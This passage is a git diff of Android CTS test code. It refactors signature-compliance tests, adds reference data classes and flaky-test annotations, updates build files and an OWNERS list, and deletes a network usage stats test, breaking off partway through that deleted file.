diff --git a/tests/signature/tests/src/android/signature/cts/tests/ExpectedFailuresFilterAnnotationCheckerTest.java b/tests/signature/tests/src/android/signature/cts/tests/ExpectedFailuresFilterAnnotationCheckerTest.java
index 789d54f..fd37d6d 100644
--- a/tests/signature/tests/src/android/signature/cts/tests/ExpectedFailuresFilterAnnotationCheckerTest.java
+++ b/tests/signature/tests/src/android/signature/cts/tests/ExpectedFailuresFilterAnnotationCheckerTest.java
@@ -45,47 +45,48 @@
 
     @Test
     public void testIgnoreExpectedFailures_TestPasses() {
-        NoFailures observer = new NoFailures();
+        try (NoFailures observer = new NoFailures()) {
 
-        ResultObserver filter = new ExpectedFailuresFilter(observer, Arrays.asList(
-            "extra_class:android.signature.cts.tests.data.ForciblyPublicizedPrivateClass",
-            "extra_constructor:public android.signature.cts.tests.data.SystemApiClass()",
-            "extra_method:public void android.signature.cts.tests.data.SystemApiClass.apiMethod()",
-            "extra_field:public boolean android.signature.cts.tests.data.SystemApiClass.apiField"
-        ));
+            ResultObserver filter = new ExpectedFailuresFilter(observer, Arrays.asList(
+                    "extra_class:android.signature.cts.tests.data.ForciblyPublicizedPrivateClass",
+                    "extra_constructor:public android.signature.cts.tests.data.SystemApiClass()",
+                    "extra_method:public void android.signature.cts.tests.data.SystemApiClass.apiMethod()",
+                    "extra_field:public boolean android.signature.cts.tests.data.SystemApiClass.apiField"
+            ));
 
-        // Define the API that is expected to be provided by the SystemApiClass. Omitted members
-        // are actually provided by the SytstemApiClass definition and so will result in an
-        // extra_... error.
-        JDiffClassDescription clz = createClass("SystemApiClass");
-        // (omitted) addConstructor(clz);
-        // (omitted) addPublicVoidMethod(clz, "apiMethod");
-        // (omitted) addPublicBooleanField(clz, "apiField");
+            // Define the API that is expected to be provided by the SystemApiClass. Omitted members
+            // are actually provided by the SytstemApiClass definition and so will result in an
+            // extra_... error.
+            JDiffClassDescription clz = createClass("SystemApiClass");
+            // (omitted) addConstructor(clz);
+            // (omitted) addPublicVoidMethod(clz, "apiMethod");
+            // (omitted) addPublicBooleanField(clz, "apiField");
 
-        checkSignatureCompliance(clz, filter,
-                "android.signature.cts.tests.data.PublicApiClass");
-        // Note that ForciblyPublicizedPrivateClass is now included in the runtime classes
+            checkSignatureCompliance(clz, filter,
+                    "android.signature.cts.tests.data.PublicApiClass");
+            // Note that ForciblyPublicizedPrivateClass is now included in the runtime classes
+        }
     }
 
     @Test
     public void testIgnoreExpectedFailures_TestStillFails() {
-        ExpectFailure observer = new ExpectFailure(FailureType.MISSING_ANNOTATION);
+        try (ExpectFailure observer = new ExpectFailure(FailureType.MISSING_ANNOTATION)) {
+            ResultObserver filter = new ExpectedFailuresFilter(observer, Arrays.asList(
+                    "extra_method:public void android.signature.cts.tests.data.SystemApiClass.apiMethod()",
+                    "extra_field:public boolean android.signature.cts.tests.data.SystemApiClass.apiField"
+            ));
 
-        ResultObserver filter = new ExpectedFailuresFilter(observer, Arrays.asList(
-            "extra_method:public void android.signature.cts.tests.data.SystemApiClass.apiMethod()",
-            "extra_field:public boolean android.signature.cts.tests.data.SystemApiClass.apiField"
-        ));
+            // Define the API that is expected to be provided by the SystemApiClass. Omitted members
+            // are actually provided by the SytstemApiClass definition and so will result in an
+            // extra_... error.
+            JDiffClassDescription clz = createClass("SystemApiClass");
+            addConstructor(clz);
+            // (omitted) addPublicVoidMethod(clz, "apiMethod");
+            // (omitted) addPublicBooleanField(clz, "apiField");
 
-        // Define the API that is expected to be provided by the SystemApiClass. Omitted members
-        // are actually provided by the SytstemApiClass definition and so will result in an
-        // extra_... error.
-        JDiffClassDescription clz = createClass("SystemApiClass");
-        addConstructor(clz);
-        // (omitted) addPublicVoidMethod(clz, "apiMethod");
-        // (omitted) addPublicBooleanField(clz, "apiField");
-
-        checkSignatureCompliance(clz, filter,
-            "android.signature.cts.tests.data.PublicApiClass",
-            "android.signature.cts.tests.data.ForciblyPublicizedPrivateClass");
+            checkSignatureCompliance(clz, filter,
+                    "android.signature.cts.tests.data.PublicApiClass",
+                    "android.signature.cts.tests.data.ForciblyPublicizedPrivateClass");
+        }
     }
 }
diff --git a/tests/signature/tests/src/android/signature/cts/tests/FailureHandlingTest.java b/tests/signature/tests/src/android/signature/cts/tests/FailureHandlingTest.java
new file mode 100644
index 0000000..baf4564
--- /dev/null
+++ b/tests/signature/tests/src/android/signature/cts/tests/FailureHandlingTest.java
@@ -0,0 +1,116 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.signature.cts.tests;
+
+import android.signature.cts.ApiPresenceChecker;
+import android.signature.cts.ClassProvider;
+import android.signature.cts.FailureType;
+import android.signature.cts.JDiffClassDescription;
+import android.signature.cts.ResultObserver;
+import org.junit.Assert;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.JUnit4;
+
+import static org.hamcrest.CoreMatchers.equalTo;
+import static org.hamcrest.CoreMatchers.startsWith;
+import static org.hamcrest.MatcherAssert.assertThat;
+
+/**
+ * Test the error handling code used by the host tests.
+ */
+@RunWith(JUnit4.class)
+public class FailureHandlingTest
+        extends ApiPresenceCheckerTest<FailureHandlingTest.FakeApiPresenceChecker> {
+
+    /**
+     * A fake {@link ApiPresenceChecker} that always reports a failure and if that throws an
+     * exception then reports another failure. This mirrors the behavior of the
+     * {@link android.signature.cts.ApiComplianceChecker}.
+     */
+    public static class FakeApiPresenceChecker extends ApiPresenceChecker {
+
+        public FakeApiPresenceChecker(ClassProvider provider, ResultObserver resultObserver) {
+            super(provider, resultObserver);
+        }
+
+        @Override
+        public void checkSignatureCompliance(JDiffClassDescription classDescription) {
+            try {
+                resultObserver.notifyFailure(FailureType.EXTRA_CLASS,
+                        classDescription.getAbsoluteClassName(), "bad");
+            } catch (Error | Exception e) {
+                resultObserver.notifyFailure(
+                        FailureType.CAUGHT_EXCEPTION,
+                        classDescription.getAbsoluteClassName(),
+                        "Exception while checking class compliance!",
+                        e);
+            }
+        }
+    }
+
+
+    @Override
+    protected FakeApiPresenceChecker createChecker(ResultObserver resultObserver,
+            ClassProvider provider) {
+        return new FakeApiPresenceChecker(provider, resultObserver);
+    }
+
+    @Test
+    public void testNoFailures_DetectsFailures() {
+        AssertionError e = Assert.assertThrows(AssertionError.class,
+                () -> {
+                    try (NoFailures observer = new NoFailures()) {
+                        runWithApiChecker(observer, checker -> {
+                            JDiffClassDescription description = createClass("fake");
+                            checker.checkSignatureCompliance(description);
+                        });
+                    }
+                });
+        assertThat(e.getMessage(), startsWith("Unexpected test failure"));
+    }
+
+    @Test
+    public void testExpectFailure_DetectsNoFailures() {
+        AssertionError e = Assert.assertThrows(AssertionError.class,
+                () -> {
+                    try (ExpectFailure observer = new ExpectFailure(FailureType.MISMATCH_FIELD)) {
+                        runWithApiChecker(observer, checker -> {
+                            // Do nothing.
+                        });
+                    }
+                });
+        assertThat(e.getMessage(),
+                equalTo("Expect one failure of type MISMATCH_FIELD but found 0 failures: []"));
+    }
+
+    @Test
+    public void testExpectFailure_DetectsTooManyFailures() {
+        AssertionError e = Assert.assertThrows(AssertionError.class,
+                () -> {
+                    try (ExpectFailure observer = new ExpectFailure(FailureType.MISMATCH_FIELD)) {
+                        runWithApiChecker(observer, checker -> {
+                            JDiffClassDescription description = createClass("fake");
+                            checker.checkSignatureCompliance(description);
+                            description = createClass("fake2");
+                            checker.checkSignatureCompliance(description);
+                        });
+                    }
+                });
+        assertThat(e.getMessage(),
+                startsWith("Expect one failure of type MISMATCH_FIELD but found 2 failures:"));
+    }
+}
diff --git a/tests/signature/tests/src/android/signature/cts/tests/data/AbstractClass.java b/tests/signature/tests/src/android/signature/cts/tests/data/AbstractClass.java
index 5fbbac1..25b90b7 100644
--- a/tests/signature/tests/src/android/signature/cts/tests/data/AbstractClass.java
+++ b/tests/signature/tests/src/android/signature/cts/tests/data/AbstractClass.java
@@ -22,4 +22,12 @@
 public abstract class AbstractClass {
     public abstract void abstractMethod();
     public final void finalMethod() {};
+
+    public static class StaticNestedClass {
+    }
+
+    public static class StaticNestedClassWithCtor {
+        public StaticNestedClassWithCtor() {
+        }
+    }
 }
diff --git a/tests/signature/tests/src/android/signature/cts/tests/data/AbstractClassWithCtor.java b/tests/signature/tests/src/android/signature/cts/tests/data/AbstractClassWithCtor.java
new file mode 100644
index 0000000..eb9c88a
--- /dev/null
+++ b/tests/signature/tests/src/android/signature/cts/tests/data/AbstractClassWithCtor.java
@@ -0,0 +1,26 @@
+/*
+ * Copyright (C) 2009 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.signature.cts.tests.data;
+
+/**
+* This class is used as reference data for the JDiffClassDescriptionTest tests.
+*/
+public abstract class AbstractClassWithCtor {
+    public AbstractClassWithCtor() {}
+    public abstract void abstractMethod();
+    public final void finalMethod() {};
+}
diff --git a/tests/signature/tests/src/android/signature/cts/tests/data/ComplexEnum.java b/tests/signature/tests/src/android/signature/cts/tests/data/ComplexEnum.java
new file mode 100644
index 0000000..24e0f26
--- /dev/null
+++ b/tests/signature/tests/src/android/signature/cts/tests/data/ComplexEnum.java
@@ -0,0 +1,34 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.signature.cts.tests.data;
+
+/**
+ * A complex enum that looks like it is concrete and final but is actually implemented at runtime
+ * as an abstract class.
+ */
+public enum ComplexEnum {
+
+    ONE() {
+        @Override
+        public void doSomething() {}
+    },
+    TWO() {
+        @Override
+        public void doSomething() {}
+    };
+
+    public abstract void doSomething();
+}
diff --git a/tests/signature/tests/src/android/signature/cts/tests/data/FinalClassWithCtor.java b/tests/signature/tests/src/android/signature/cts/tests/data/FinalClassWithCtor.java
new file mode 100644
index 0000000..d46d39c
--- /dev/null
+++ b/tests/signature/tests/src/android/signature/cts/tests/data/FinalClassWithCtor.java
@@ -0,0 +1,30 @@
+/*
+ * Copyright (C) 2007 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.signature.cts.tests.data;
+
+/**
+ * This class is used as reference data for the
+ * JDiffClassDescriptionTest tests.  These classes will actually be
+ * examined through reflection and Class.forName as part of testing
+ * JDiffClassDescription.  That is why there is no implementation for
+ * any of these methods.
+ */
+public final class FinalClassWithCtor {
+    public FinalClassWithCtor() { }
+    public final void finalMethod() { }
+    public void nonFinalMethod() { }
+}
diff --git a/tests/signature/tests/src/android/signature/cts/tests/data/NormalClass.java b/tests/signature/tests/src/android/signature/cts/tests/data/NormalClass.java
index 4016bf6..b18cb54 100644
--- a/tests/signature/tests/src/android/signature/cts/tests/data/NormalClass.java
+++ b/tests/signature/tests/src/android/signature/cts/tests/data/NormalClass.java
@@ -41,6 +41,11 @@
     public native void nativeMethod();
     public void notNativeMethod() { }
     public final void finalMethod() { }
+    public void varargs(String...args) { }
+    // Generate a synthetic bridge method.
+    public NormalClass clone() throws CloneNotSupportedException {
+        return (NormalClass) super.clone();
+    }
 
     // Fields to test.
     public final String FINAL_FIELD = "";
diff --git a/tests/simplecpu/jni/CpuNativeJni.cpp b/tests/simplecpu/jni/CpuNativeJni.cpp
index 4ea0dc0..54291c0 100644
--- a/tests/simplecpu/jni/CpuNativeJni.cpp
+++ b/tests/simplecpu/jni/CpuNativeJni.cpp
@@ -41,7 +41,7 @@
         } while (--i > 0);              \
 }
 
-#define SWAPINIT(a, es) swaptype = ((char *)a - (char *)0) % sizeof(long) || \
+#define SWAPINIT(a, es) swaptype = ((uintptr_t) a) % sizeof(long) || \
     es % sizeof(long) ? 2 : es == sizeof(long)? 0 : 1;
 
 static __inline void
diff --git a/tests/suspendapps/tests/Android.bp b/tests/suspendapps/tests/Android.bp
index 5f5475c..56cd29c 100644
--- a/tests/suspendapps/tests/Android.bp
+++ b/tests/suspendapps/tests/Android.bp
@@ -38,4 +38,10 @@
         "cts",
         "general-tests",
     ],
+    data: [
+        ":CtsSuspendTestDeviceAdmin",
+        ":CtsSuspendTestApp",
+        ":CtsSuspendTestApp2",
+    ],
+    per_testcase_directory: true,
 }
diff --git a/tests/tests/activityrecognition/OWNERS b/tests/tests/activityrecognition/OWNERS
index febd665..6e91130 100644
--- a/tests/tests/activityrecognition/OWNERS
+++ b/tests/tests/activityrecognition/OWNERS
@@ -1,7 +1,7 @@
 # Bug component: 137825
-svetoslavganov@google.com
+narayan@google.com
 zhanghai@google.com
 eugenesusla@google.com
 evanseverson@google.com
 ntmyren@google.com
-ewol@google.com
+ashfall@google.com
diff --git a/tests/tests/animation/src/android/animation/cts/AnimatorTest.java b/tests/tests/animation/src/android/animation/cts/AnimatorTest.java
index 53e48a8..e240c48 100644
--- a/tests/tests/animation/src/android/animation/cts/AnimatorTest.java
+++ b/tests/tests/animation/src/android/animation/cts/AnimatorTest.java
@@ -26,6 +26,7 @@
 import android.animation.ValueAnimator;
 import android.app.Instrumentation;
 import android.os.SystemClock;
+import android.platform.test.annotations.FlakyTest;
 import android.view.animation.AccelerateInterpolator;
 
 import androidx.test.InstrumentationRegistry;
@@ -102,6 +103,7 @@
         assertTrue(mAnimator.isRunning());
     }
 
+    @FlakyTest
     @Test
     public void testIsStarted() throws Throwable {
         assertFalse(mAnimator.isRunning());
@@ -147,6 +149,7 @@
         assertEquals(y, endY, 0.0f);
     }
 
+    @FlakyTest
     @Test
     public void testSetListener() throws Throwable {
         Instrumentation instrumentation = InstrumentationRegistry.getInstrumentation();
diff --git a/tests/tests/animation/src/android/animation/cts/ObjectAnimatorTest.java b/tests/tests/animation/src/android/animation/cts/ObjectAnimatorTest.java
index 270b3af..d12ec40 100644
--- a/tests/tests/animation/src/android/animation/cts/ObjectAnimatorTest.java
+++ b/tests/tests/animation/src/android/animation/cts/ObjectAnimatorTest.java
@@ -38,6 +38,7 @@
 import android.graphics.Path;
 import android.graphics.PointF;
 import android.os.SystemClock;
+import android.platform.test.annotations.FlakyTest;
 import android.util.Property;
 import android.view.View;
 import android.view.animation.AccelerateInterpolator;
@@ -141,6 +142,7 @@
         assertEquals(animator.getPropertyName(), objAnimator.getPropertyName());
     }
 
+    @FlakyTest
     @Test
     public void testOfInt() throws Throwable {
         Object object = mActivity.view.newBall;
@@ -165,6 +167,7 @@
         verify(mockListener, timeout(3000)).onAnimationEnd(intAnimator, false);
     }
 
+    @FlakyTest
     @Test
     public void testOfObject() throws Throwable {
         Object object = mActivity.view.newBall;
@@ -296,6 +299,7 @@
         assertEquals(propertyName, actualPropertyName);
     }
 
+    @FlakyTest
     @Test
     public void testSetFloatValues() throws Throwable {
         Object object = mActivity.view.newBall;
diff --git a/tests/tests/animation/src/android/animation/cts/PropertyValuesHolderTest.java b/tests/tests/animation/src/android/animation/cts/PropertyValuesHolderTest.java
index 75e9bd3..8634401 100644
--- a/tests/tests/animation/src/android/animation/cts/PropertyValuesHolderTest.java
+++ b/tests/tests/animation/src/android/animation/cts/PropertyValuesHolderTest.java
@@ -37,6 +37,7 @@
 import android.graphics.PointF;
 import android.graphics.drawable.ShapeDrawable;
 import android.os.SystemClock;
+import android.platform.test.annotations.FlakyTest;
 import android.util.FloatProperty;
 import android.util.Property;
 import android.view.View;
@@ -116,6 +117,7 @@
         assertEquals(pVHolder.getPropertyName(), cloneHolder.getPropertyName());
     }
 
+    @FlakyTest
     @Test
     public void testSetValues() throws Throwable {
         float[] dummyValues = {100, 150};
@@ -157,6 +159,7 @@
         mActivityRule.runOnUiThread(() -> mActivity.startSingleAnimation(animator));
     }
 
+    @FlakyTest
     @Test
     public void testResetValues() throws Throwable {
         final float initialY = mActivity.view.newBall.getY();
@@ -227,6 +230,7 @@
         assertEquals("Animation should run as expected", 100f, mActivity.view.newBall.getY(), 0.0f);
     }
 
+    @FlakyTest
     @Test
     public void testOfFloat() throws Throwable {
         float[] values = {mStartY, mEndY};
@@ -242,6 +246,7 @@
         assertResults(yArray, mStartY, mEndY);
     }
 
+    @FlakyTest
     @Test
     public void testOfFloat_Property() throws Throwable {
         float[] values = {mStartY, mEndY};
@@ -259,6 +264,7 @@
         assertResults(yArray, mStartY, mEndY);
     }
 
+    @FlakyTest
     @Test
     public void testOfInt() throws Throwable {
         int start = 0;
@@ -680,6 +686,7 @@
         assertTrue(endLatch.await(200, TimeUnit.MILLISECONDS));
     }
 
+    @FlakyTest
     @Test
     public void testSetProperty() throws Throwable {
         float[] values = {mStartY, mEndY};
diff --git a/tests/tests/app.usage/TestApp1/Android.bp b/tests/tests/app.usage/TestApp1/Android.bp
index cba5df5..956d5d2 100644
--- a/tests/tests/app.usage/TestApp1/Android.bp
+++ b/tests/tests/app.usage/TestApp1/Android.bp
@@ -19,7 +19,6 @@
 android_test_helper_app {
     name: "CtsUsageStatsTestApp1",
     defaults: ["cts_defaults"],
-    platform_apis: true,
     static_libs: [
         "androidx.test.rules",
         "compatibility-device-util-axt",
diff --git a/tests/tests/app.usage/TestApp2/Android.bp b/tests/tests/app.usage/TestApp2/Android.bp
index 1ac6331..088769f 100644
--- a/tests/tests/app.usage/TestApp2/Android.bp
+++ b/tests/tests/app.usage/TestApp2/Android.bp
@@ -19,7 +19,6 @@
 android_test_helper_app {
     name: "CtsUsageStatsTestApp2",
     defaults: ["cts_defaults"],
-    platform_apis: true,
     static_libs: [
         "androidx.test.rules",
         "compatibility-device-util-axt",
@@ -32,12 +31,15 @@
         "android.test.base",
         "android.test.runner",
     ],
-    srcs: ["src/**/*.java", "aidl/**/*.aidl"],
+    srcs: [
+        "src/**/*.java",
+        "aidl/**/*.aidl",
+    ],
     // Tag this module as a cts test artifact
     test_suites: [
         "cts",
         "general-tests",
-        "mts"
+        "mts",
     ],
-    sdk_version: "test_current"
+    sdk_version: "test_current",
 }
diff --git a/tests/tests/app.usage/src/android/app/usage/cts/NetworkUsageStatsTest.java b/tests/tests/app.usage/src/android/app/usage/cts/NetworkUsageStatsTest.java
deleted file mode 100644
index 9a08bcf..0000000
--- a/tests/tests/app.usage/src/android/app/usage/cts/NetworkUsageStatsTest.java
+++ /dev/null
@@ -1,885 +0,0 @@
-/**
- * Copyright (C) 2015 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License"); you may not
- * use this file except in compliance with the License. You may obtain a copy
- * of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
- * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
- * License for the specific language governing permissions and limitations
- * under the License.
- */
-
-package android.app.usage.cts;
-
-import android.app.AppOpsManager;
-import android.app.usage.NetworkStatsManager;
-import android.app.usage.NetworkStats;
-import android.content.Context;
-import android.content.pm.PackageManager;
-import android.net.ConnectivityManager;
-import android.net.Network;
-import android.net.NetworkCapabilities;
-import android.net.NetworkInfo;
-import android.net.NetworkRequest;
-import android.net.TrafficStats;
-import android.os.Handler;
-import android.os.HandlerThread;
-import android.os.ParcelFileDescriptor;
-import android.os.Process;
-import android.os.RemoteException;
-import android.os.SystemClock;
-import android.platform.test.annotations.AppModeFull;
-import android.telephony.TelephonyManager;
-import android.test.InstrumentationTestCase;
-import android.util.Log;
-
-import com.android.compatibility.common.util.ShellIdentityUtils;
-import com.android.compatibility.common.util.SystemUtil;
-
-import java.io.FileInputStream;
-import java.io.IOException;
-import java.io.InputStream;
-import java.io.InputStreamReader;
-import java.net.URL;
-import java.net.UnknownHostException;
-import java.text.MessageFormat;
-import java.util.ArrayList;
-import java.util.Scanner;
-import java.net.HttpURLConnection;
-
-import libcore.io.IoUtils;
-import libcore.io.Streams;
-
-import static android.app.usage.NetworkStats.Bucket.DEFAULT_NETWORK_ALL;
-import static android.app.usage.NetworkStats.Bucket.DEFAULT_NETWORK_NO;
-import static android.app.usage.NetworkStats.Bucket.DEFAULT_NETWORK_YES;
-import static android.app.usage.NetworkStats.Bucket.METERED_ALL;
-import static android.app.usage.NetworkStats.Bucket.METERED_YES;
-import static android.app.usage.NetworkStats.Bucket.METERED_NO;
-import static android.app.usage.NetworkStats.Bucket.STATE_ALL;
-import static android.app.usage.NetworkStats.Bucket.STATE_DEFAULT;
-import static android.app.usage.NetworkStats.Bucket.STATE_FOREGROUND;
-import static android.app.usage.NetworkStats.Bucket.TAG_NONE;
-import static android.app.usage.NetworkStats.Bucket.UID_ALL;
-
-public class NetworkUsageStatsTest extends InstrumentationTestCase {
-    private static final String LOG_TAG = "NetworkUsageStatsTest";
-    private static final String APPOPS_SET_SHELL_COMMAND = "appops set {0} {1} {2}";
-    private static final String APPOPS_GET_SHELL_COMMAND = "appops get {0} {1}";
-
-    private static final long MINUTE = 1000 * 60;
-    private static final int TIMEOUT_MILLIS = 15000;
-
-    private static final String CHECK_CONNECTIVITY_URL = "http://www.265.com/";
-    private static final int HOST_RESOLUTION_RETRIES = 4;
-    private static final int HOST_RESOLUTION_INTERVAL_MS = 500;
-
-    private static final int NETWORK_TAG = 0xf00d;
-    private static final long THRESHOLD_BYTES = 2 * 1024 * 1024;  // 2 MB
-
-    private abstract class NetworkInterfaceToTest {
-        private boolean mMetered;
-        private boolean mIsDefault;
-
-        abstract int getNetworkType();
-        abstract int getTransportType();
-
-        public boolean getMetered() {
-            return mMetered;
-        }
-
-        public void setMetered(boolean metered) {
-            this.mMetered = metered;
-        }
-
-        public boolean getIsDefault() {
-            return mIsDefault;
-        }
-
-        public void setIsDefault(boolean isDefault) {
-            mIsDefault = isDefault;
-        }
-
-        abstract String getSystemFeature();
-        abstract String getErrorMessage();
-    }
-
-    private final NetworkInterfaceToTest[] mNetworkInterfacesToTest =
-            new NetworkInterfaceToTest[] {
-                    new NetworkInterfaceToTest() {
-                        @Override
-                        public int getNetworkType() {
-                            return ConnectivityManager.TYPE_WIFI;
-                        }
-
-                        @Override
-                        public int getTransportType() {
-                            return NetworkCapabilities.TRANSPORT_WIFI;
-                        }
-
-                        @Override
-                        public String getSystemFeature() {
-                            return PackageManager.FEATURE_WIFI;
-                        }
-
-                        @Override
-                        public String getErrorMessage() {
-                            return " Please make sure you are connected to a WiFi access point.";
-                        }
-                    },
-                    new NetworkInterfaceToTest() {
-                        @Override
-                        public int getNetworkType() {
-                            return ConnectivityManager.TYPE_MOBILE;
-                        }
-
-                        @Override
-                        public int getTransportType() {
-                            return NetworkCapabilities.TRANSPORT_CELLULAR;
-                        }
-
-                        @Override
-                        public String getSystemFeature() {
-                            return PackageManager.FEATURE_TELEPHONY;
-                        }
-
-                        @Override
-                        public String getErrorMessage() {
-                            return " Please make sure you have added a SIM card with data plan to" +
-                                    " your phone, have enabled data over cellular and in case of" +
-                                    " dual SIM devices, have selected the right SIM " +
-                                    "for data connection.";
-                        }
-                    }
-    };
-
-    private String mPkg;
-    private NetworkStatsManager mNsm;
-    private ConnectivityManager mCm;
-    private PackageManager mPm;
-    private long mStartTime;
-    private long mEndTime;
-
-    private long mBytesRead;
-    private String mWriteSettingsMode;
-    private String mUsageStatsMode;
-
-    private void exerciseRemoteHost(Network network, URL url) throws Exception {
-        NetworkInfo networkInfo = mCm.getNetworkInfo(network);
-        if (networkInfo == null) {
-            Log.w(LOG_TAG, "Network info is null");
-        } else {
-            Log.w(LOG_TAG, "Network: " + networkInfo.toString());
-        }
-        InputStreamReader in = null;
-        HttpURLConnection urlc = null;
-        String originalKeepAlive = System.getProperty("http.keepAlive");
-        System.setProperty("http.keepAlive", "false");
-        try {
-            TrafficStats.setThreadStatsTag(NETWORK_TAG);
-            urlc = (HttpURLConnection) network.openConnection(url);
-            urlc.setConnectTimeout(TIMEOUT_MILLIS);
-            urlc.setUseCaches(false);
-            // Disable compression so we generate enough traffic that assertWithinPercentage will
-            // not be affected by the small amount of traffic (5-10kB) sent by the test harness.
-            urlc.setRequestProperty("Accept-Encoding", "identity");
-            urlc.connect();
-            boolean ping = urlc.getResponseCode() == 200;
-            if (ping) {
-                in = new InputStreamReader(
-                        (InputStream) urlc.getContent());
-
-                mBytesRead = 0;
-                while (in.read() != -1) ++mBytesRead;
-            }
-        } catch (Exception e) {
-            Log.i(LOG_TAG, "Badness during exercising remote server: " + e);
-        } finally {
-            TrafficStats.clearThreadStatsTag();
-            if (in != null) {
-                try {
-                    in.close();
-                } catch (IOException e) {
-                    // don't care
-                }
-            }
-            if (urlc != null) {
-                urlc.disconnect();
-            }
-            if (originalKeepAlive == null) {
-                System.clearProperty("http.keepAlive");
-            } else {
-                System.setProperty("http.keepAlive", originalKeepAlive);
-            }
-        }
-    }
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mNsm = (NetworkStatsManager) getInstrumentation().getContext()
-                .getSystemService(Context.NETWORK_STATS_SERVICE);
-        mNsm.setPollForce(true);
-
-        mCm = (ConnectivityManager) getInstrumentation().getContext()
-                .getSystemService(Context.CONNECTIVITY_SERVICE);
-
-        mPm = getInstrumentation().getContext().getPackageManager();
-
-        mPkg = getInstrumentation().getContext().getPackageName();
-
-        mWriteSettingsMode = getAppOpsMode(AppOpsManager.OPSTR_WRITE_SETTINGS);
-        setAppOpsMode(AppOpsManager.OPSTR_WRITE_SETTINGS, "allow");
-        mUsageStatsMode = getAppOpsMode(AppOpsManager.OPSTR_GET_USAGE_STATS);
-    }
-
-    @Override
-    protected void tearDown() throws Exception {
-        if (mWriteSettingsMode != null) {
-            setAppOpsMode(AppOpsManager.OPSTR_WRITE_SETTINGS, mWriteSettingsMode);
-        }
-        if (mUsageStatsMode != null) {
-            setAppOpsMode(AppOpsManager.OPSTR_GET_USAGE_STATS, mUsageStatsMode);
-        }
-        super.tearDown();
-    }
-
-    private void setAppOpsMode(String appop, String mode) throws Exception {
-        final String command = MessageFormat.format(APPOPS_SET_SHELL_COMMAND, mPkg, appop, mode);
-        SystemUtil.runShellCommand(command);
-    }
-
-    private String getAppOpsMode(String appop) throws Exception {
-        final String command = MessageFormat.format(APPOPS_GET_SHELL_COMMAND, mPkg, appop);
-        String result = SystemUtil.runShellCommand(command);
-        if (result == null) {
-            Log.w(LOG_TAG, "App op " + appop + " could not be read.");
-        }
-        return result;
-    }
-
-    private boolean isInForeground() throws IOException {
-        String result = SystemUtil.runShellCommand(getInstrumentation(),
-                "cmd activity get-uid-state " + Process.myUid());
-        return result.contains("FOREGROUND");
-    }
-
-    private class NetworkCallback extends ConnectivityManager.NetworkCallback {
-        private long mTolerance;
-        private URL mUrl;
-        public boolean success;
-        public boolean metered;
-        public boolean isDefault;
-
-        NetworkCallback(long tolerance, URL url) {
-            mTolerance = tolerance;
-            mUrl = url;
-            success = false;
-            metered = false;
-            isDefault = false;
-        }
-
-        // The test host only has IPv4. So on a dual-stack network where IPv6 connects before IPv4,
-        // we need to wait until IPv4 is available or the test will spuriously fail.
-        private void waitForHostResolution(Network network) {
-            for (int i = 0; i < HOST_RESOLUTION_RETRIES; i++) {
-                try {
-                    network.getAllByName(mUrl.getHost());
-                    return;
-                } catch (UnknownHostException e) {
-                    SystemClock.sleep(HOST_RESOLUTION_INTERVAL_MS);
-                }
-            }
-            fail(String.format("%s could not be resolved on network %s (%d attempts %dms apart)",
-                  mUrl.getHost(), network, HOST_RESOLUTION_RETRIES, HOST_RESOLUTION_INTERVAL_MS));
-        }
-
-        @Override
-        public void onAvailable(Network network) {
-            try {
-                mStartTime = System.currentTimeMillis() - mTolerance;
-                isDefault = network.equals(mCm.getActiveNetwork());
-                waitForHostResolution(network);
-                exerciseRemoteHost(network, mUrl);
-                mEndTime = System.currentTimeMillis() + mTolerance;
-                success = true;
-                metered = !mCm.getNetworkCapabilities(network)
-                        .hasCapability(NetworkCapabilities.NET_CAPABILITY_NOT_METERED);
-                synchronized(NetworkUsageStatsTest.this) {
-                    NetworkUsageStatsTest.this.notify();
-                }
-            } catch (Exception e) {
-                Log.w(LOG_TAG, "exercising remote host failed.", e);
-                success = false;
-            }
-        }
-    }
-
-    private boolean shouldTestThisNetworkType(int networkTypeIndex, final long tolerance)
-            throws Exception {
-        boolean hasFeature = mPm.hasSystemFeature(
-                mNetworkInterfacesToTest[networkTypeIndex].getSystemFeature());
-        if (!hasFeature) {
-            return false;
-        }
